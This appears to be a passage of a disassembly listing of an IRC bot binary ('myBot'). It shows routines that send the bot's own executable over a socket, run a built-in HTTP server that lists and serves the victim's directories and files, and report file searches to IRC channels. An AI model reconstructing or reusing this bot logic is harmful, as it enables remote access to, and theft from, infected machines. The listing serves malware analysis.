mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43B19C
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4059F7
push dword_43B19C
call dword_4211F4 ; closesocket
call dword_4211B0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4059F7: ; CODE XREF: sub_40597F+60j
xor eax, eax
inc eax
leave
retn
sub_40597F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059FC proc near ; CODE XREF: sub_405398+515p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_415A08
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405A93
test byte ptr [esi+0Ch], 10h
jnz short loc_405A77
push edi
mov edi, 400h
loc_405A3F: ; CODE XREF: sub_4059FC+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_416A57
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43B19C
call dword_4211F0 ; send
push 1
call dword_421060 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_405A3F
pop edi
loc_405A77: ; CODE XREF: sub_4059FC+3Bj
push esi
call sub_415960
pop ecx
push dword_43B19C
call dword_4211F4 ; closesocket
call dword_4211B0 ; WSACleanup
xor eax, eax
inc eax
loc_405A93: ; CODE XREF: sub_4059FC+35j
pop esi
leave
retn
sub_4059FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A96 proc near ; DATA XREF: sub_4071B6+333o
; sub_40CD3A+5007o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_415390
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43C554
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43C5D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_405E5C
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_4416D4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43C580
cmp eax, 0FFFFFFFFh
jz loc_405E5C
push 7FFFFFFFh
push edi
call dword_43C57C
cmp eax, 0FFFFFFFFh
jz loc_405E5C
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43C5F0
cmp eax, 0FFFFFFFFh
jz loc_405E5C
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_405B6D: ; CODE XREF: sub_405A96+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43C53C
cmp eax, 0FFFFFFFFh
jz loc_405E57
xor edi, edi
mov [ebp+arg_0], edi
loc_405BA3: ; CODE XREF: sub_405A96+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_43C44C
test eax, eax
jz loc_405E42
cmp edi, [ebp+var_8]
jnz short loc_405C24
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_43C5E8
cmp eax, 0FFFFFFFFh
jz loc_405E42
xor ecx, ecx
test ebx, ebx
jbe short loc_405BF6
loc_405BE8: ; CODE XREF: sub_405A96+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_405BF6
inc ecx
cmp ecx, ebx
jb short loc_405BE8
loc_405BF6: ; CODE XREF: sub_405A96+150j
; sub_405A96+159j
cmp ecx, ebx
jnz short loc_405C13
cmp ebx, 40h
jnb short loc_405C13
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_405C13: ; CODE XREF: sub_405A96+162j
; sub_405A96+167j
cmp eax, [ebp+var_4]
jbe loc_405E42
mov [ebp+var_4], eax
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405C24: ; CODE XREF: sub_405A96+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_415390
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415390
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_43C56C
test eax, eax
jg short loc_405CAB
push edi
call dword_43C5EC
xor eax, eax
test ebx, ebx
jbe loc_405E42
loc_405C70: ; CODE XREF: sub_405A96+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_405C98
inc eax
cmp eax, ebx
jb short loc_405C70
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405C83: ; CODE XREF: sub_405A96+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405C98: ; CODE XREF: sub_405A96+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405C83
dec ebx
mov [ebp+var_128], ebx
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405CAB: ; CODE XREF: sub_405A96+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_415390
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_415B10
add esp, 10h
test eax, eax
jbe loc_405E42
loc_405CD8: ; CODE XREF: sub_405A96+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405D7E
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_405D4E
lea eax, [ebp+var_18F0]
push eax
call sub_415B10
cmp eax, 5
pop ecx
jbe short loc_405D4E
mov eax, offset asc_426A34 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_4158E0
pop ecx
pop ecx
push eax
call sub_4158E0
pop ecx
pop ecx
push eax
call sub_416B3F
push eax
lea eax, [ebp+var_23C]
push eax
call sub_415A20
add esp, 10h
jmp short loc_405D65
; ---------------------------------------------------------------------------
loc_405D4E: ; CODE XREF: sub_405A96+26Ej
; sub_405A96+280j
lea eax, [ebp+var_18F0]
push offset asc_426A30 ; "\r\n"
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_405D9A
loc_405D65: ; CODE XREF: sub_405A96+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415390
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405D7E: ; CODE XREF: sub_405A96+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_415B10
cmp edi, eax
pop ecx
jb loc_405CD8
jmp loc_405E42
; ---------------------------------------------------------------------------
loc_405D9A: ; CODE XREF: sub_405A96+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_405DD6
loc_405DA0: ; CODE XREF: sub_405A96+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_405DC8
inc eax
cmp eax, ebx
jb short loc_405DA0
jmp short loc_405DD6
; ---------------------------------------------------------------------------
loc_405DB3: ; CODE XREF: sub_405A96+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405DC8: ; CODE XREF: sub_405A96+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405DB3
dec ebx
mov [ebp+var_128], ebx
loc_405DD6: ; CODE XREF: sub_405A96+308j
; sub_405A96+31Bj
lea eax, [ebp+var_360]
push eax
call sub_415B10
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_415B10
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_405E39
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_43C5F0
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_406048
add esp, 14h
jmp short loc_405E42
; ---------------------------------------------------------------------------
loc_405E39: ; CODE XREF: sub_405A96+364j
push [ebp+arg_0]
call dword_43C5EC
loc_405E42: ; CODE XREF: sub_405A96+11Dj
; sub_405A96+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_405BA3
jmp loc_405B6D
; ---------------------------------------------------------------------------
loc_405E57: ; CODE XREF: sub_405A96+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_405E5C: ; CODE XREF: sub_405A96+6Aj
; sub_405A96+92j ...
call dword_43C4E8
push eax
lea eax, [ebp+var_8F0]
push offset unk_4269E8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405EA2
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_412BD1
add esp, 14h
loc_405EA2: ; CODE XREF: sub_405A96+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_40B078
pop ecx
push edi
call dword_43C5EC
push [ebp+var_254]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_405A96 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405ECC proc near ; DATA XREF: sub_406048+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_415B90
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_415316
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_415316
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_405F37
push offset aTextHtml ; "text/html"
jmp short loc_405F3C
; ---------------------------------------------------------------------------
loc_405F37: ; CODE XREF: sub_405ECC+62j
push offset aApplicationOct ; "application/octet-stream"
loc_405F3C: ; CODE XREF: sub_405ECC+69j
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_421084 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_421080 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_405FAF
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_415316
add esp, 24h
jmp short loc_405FCA
; ---------------------------------------------------------------------------
loc_405FAF: ; CODE XREF: sub_405ECC+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_415316
add esp, 28h
loc_405FCA: ; CODE XREF: sub_405ECC+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43C5A4
cmp [ebp+var_A4], edi
jnz short loc_40600A
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406978
pop ecx
pop ecx
jmp short loc_406027
; ---------------------------------------------------------------------------
loc_40600A: ; CODE XREF: sub_405ECC+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4062F7
add esp, 10h
loc_406027: ; CODE XREF: sub_405ECC+13Cj
push [ebp+var_44C]
call dword_43C5EC
push [ebp+var_B4]
call sub_4150F0
pop ecx
push edi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_405ECC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406048 proc near ; CODE XREF: sub_405A96+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_415390
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_40607E
push offset aS_2 ; "\\%s"
jmp short loc_406086
; ---------------------------------------------------------------------------
loc_40607E: ; CODE XREF: sub_406048+2Dj
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_406086: ; CODE XREF: sub_406048+34j
lea eax, [ebp+var_10C]
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_415B10
test eax, eax
pop ecx
jbe short loc_406121
mov [ebp+arg_8], 2
loc_4060B1: ; CODE XREF: sub_406048+D7j
lea eax, [ebp+var_10C]
push eax
call sub_415B10
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4060F1
cmp [ebp+esi+var_10C], 25h
jnz short loc_4060F1
cmp [ebp+esi+var_10B], 32h
jnz short loc_4060F1
cmp [ebp+esi+var_10A], 30h
jnz short loc_4060F1
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40610B
; ---------------------------------------------------------------------------
loc_4060F1: ; CODE XREF: sub_406048+79j
; sub_406048+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_406101
push 5Ch
pop eax
jmp short loc_406104
; ---------------------------------------------------------------------------
loc_406101: ; CODE XREF: sub_406048+B2j
movsx eax, al
loc_406104: ; CODE XREF: sub_406048+B7j
mov [ebp+ebx+var_210], al
loc_40610B: ; CODE XREF: sub_406048+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_415B10
cmp esi, eax
pop ecx
jb short loc_4060B1
loc_406121: ; CODE XREF: sub_406048+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_415316
lea eax, [ebp+var_314]
push offset asc_426CF0 ; "\n"
push eax
call sub_416B3F
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_421094 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_40616F
cmp eax, 0FFFFFFFFh
jnz short loc_406172
push [ebp+arg_0]
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_40616F: ; CODE XREF: sub_406048+11Bj
mov [ebp+var_4], esi
loc_406172: ; CODE XREF: sub_406048+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40617F
mov [ebp+var_4], esi
loc_40617F: ; CODE XREF: sub_406048+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4061F9
cmp [ebp+arg_C], edi
jz short loc_4061ED
lea eax, [ebp+var_314]
push offset asc_426CEC ; "*"
push eax
call sub_415A30
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_415316
lea eax, [ebp+var_210]
push eax
call sub_406A35
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_415316
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406248
; ---------------------------------------------------------------------------
loc_4061ED: ; CODE XREF: sub_406048+14Ej
push ebx
loc_4061EE: ; CODE XREF: sub_406048+125j
call dword_43C5EC
jmp loc_4062DE
; ---------------------------------------------------------------------------
loc_4061F9: ; CODE XREF: sub_406048+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406248
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_415316
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_421090 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_42106C ; CloseHandle
loc_406248: ; CODE XREF: sub_406048+1A3j
; sub_406048+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_426CA8
push eax
call sub_415316
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_414DDA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4416CC[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405ECC
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_4416DC[ecx], eax
jnz short loc_4062ED
push ebx
call dword_43C5EC
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_426C58
push eax
call sub_415316
lea eax, [ebp+var_8C4]
push eax
call sub_40B078
add esp, 10h
loc_4062DE: ; CODE XREF: sub_406048+1ACj
; sub_406048+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4062E5: ; CODE XREF: sub_406048+2ABj
push 5
call dword_421060 ; Sleep
loc_4062ED: ; CODE XREF: sub_406048+266j
cmp [ebp+var_318], edi
jz short loc_4062E5
jmp short loc_4062DE
sub_406048 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062F7 proc near ; CODE XREF: sub_405ECC+153p
; sub_40CD3A+4602p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_415390
mov edi, [ebp+arg_0]
push offset asc_426CF0 ; "\n"
push edi
call sub_416B3F
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_406356
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41588A
add esp, 14h
jmp loc_406452
; ---------------------------------------------------------------------------
loc_406356: ; CODE XREF: sub_4062F7+3Bj
cmp [ebp+arg_C], ebx
jz loc_406438
call sub_415B10
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
push edi
call sub_415B10
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_406452
; ---------------------------------------------------------------------------
loc_406438: ; CODE XREF: sub_4062F7+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 10h
loc_406452: ; CODE XREF: sub_4062F7+5Aj
; sub_4062F7+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
cmp [ebp+arg_C], ebx
jz short loc_4064EA
push [ebp+arg_C]
call sub_415B10
cmp eax, 2
pop ecx
jbe short loc_4064EA
push [ebp+arg_C]
call sub_415B10
sub eax, 3
pop ecx
jz short loc_40649E
loc_406492: ; CODE XREF: sub_4062F7+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40649E
dec eax
jnz short loc_406492
loc_40649E: ; CODE XREF: sub_4062F7+199j
; sub_4062F7+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_416BE0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
loc_4064EA: ; CODE XREF: sub_4062F7+17Dj
; sub_4062F7+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4210A8 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4210A4 ; FindNextFileA
test eax, eax
jz loc_4068E1
mov edi, 1FFh
loc_406516: ; CODE XREF: sub_4062F7+5E4j
cmp [ebp+var_388], ebx
jz loc_4068C9
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4068C9
lea eax, [ebp+var_35C]
push offset a__1 ; "."
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4068C9
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4210A0 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_42109C ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_406613
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_406592: ; CODE XREF: sub_4062F7+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_415316
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40674A
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40661E
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41588A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41588A
add esp, 28h
jmp loc_40689A
; ---------------------------------------------------------------------------
loc_406613: ; CODE XREF: sub_4062F7+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_406592
; ---------------------------------------------------------------------------
loc_40661E: ; CODE XREF: sub_4062F7+2D5j
cmp [ebp+arg_C], ebx
jz loc_406708
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
lea eax, [ebp+var_35C]
push eax
call sub_415B10
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4066C4
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4066C9
; ---------------------------------------------------------------------------
loc_4066C4: ; CODE XREF: sub_4062F7+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4066C9: ; CODE XREF: sub_4062F7+3CBj
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43C5A4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40688B
; ---------------------------------------------------------------------------
loc_406708: ; CODE XREF: sub_4062F7+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41588A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_406735: ; CODE XREF: sub_4062F7+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 24h
jmp loc_40689A
; ---------------------------------------------------------------------------
loc_40674A: ; CODE XREF: sub_4062F7+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_406774
push ebx
push [ebp+var_368]
call sub_40C10D
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_406735
; ---------------------------------------------------------------------------
loc_406774: ; CODE XREF: sub_4062F7+459j
cmp [ebp+arg_C], ebx
jz loc_406874
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
